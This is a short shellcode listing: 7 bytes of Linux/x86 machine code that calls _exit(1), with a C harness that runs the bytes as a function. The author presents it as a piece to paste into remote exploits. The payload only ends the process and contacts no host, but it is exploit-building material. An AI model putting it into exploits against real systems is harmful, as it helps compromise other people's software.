Linux/x86 - exit(1) - 7 bytes

                                                /* exit-core.c by Charles Stevenson < [email protected] >  
 *
 * I made this as a chunk you can paste in to make modular remote
 * exploits.  I use it when I need a process to exit cleanly.
 */
char hellcode[] = /*  _exit(1); linux/x86 by core */
// 7 bytes _exit(1) ... 'cause we're nice >:) by core
"\x31\xc0"              // xor  %eax,%eax
"\x40"                  // inc  %eax
"\x89\xc3"              // mov  %eax,%ebx
"\xcd\x80"              // int  $0x80
;

int main(void)
{
  void (*shell)() = (void *)&hellcode;
  printf("%d byte _exit(1); linux/x86 by core\n",
         strlen(hellcode));
  shell();
  return 0;
}